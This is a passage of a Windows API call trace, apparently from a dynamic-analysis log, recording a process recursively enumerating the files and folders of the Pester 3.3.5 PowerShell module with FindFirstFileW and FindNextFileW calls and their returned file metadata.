nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0193.550] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x462ef90 [0193.550] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x45317c0 [0193.834] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.834] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0193.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x464efa0 [0193.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531bc0 [0193.838] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.838] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1 [0193.839] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.839] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0193.840] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.840] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0193.840] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0193.840] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0193.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.840] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0193.840] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0193.840] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0193.840] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.840] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US") returned 67 [0193.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0193.842] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.842] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0193.842] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0193.842] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0193.842] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510bc884, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0193.842] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0193.842] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0193.842] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0193.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.842] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0193.842] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.842] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples") returned 70 [0193.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.843] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.843] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0193.843] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.843] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator") returned 81 [0193.843] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531cc0 [0193.843] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.843] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0193.844] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0193.844] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0193.844] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0193.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.844] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0193.844] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.844] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator") returned 80 [0193.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0193.844] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.844] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0193.845] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0193.845] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0193.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.845] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0193.845] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.845] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0193.845] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.845] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions") returned 71 [0193.845] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0193.848] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.848] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0193.848] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.848] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions") returned 82 [0193.848] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531740 [0193.850] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaeb94 | 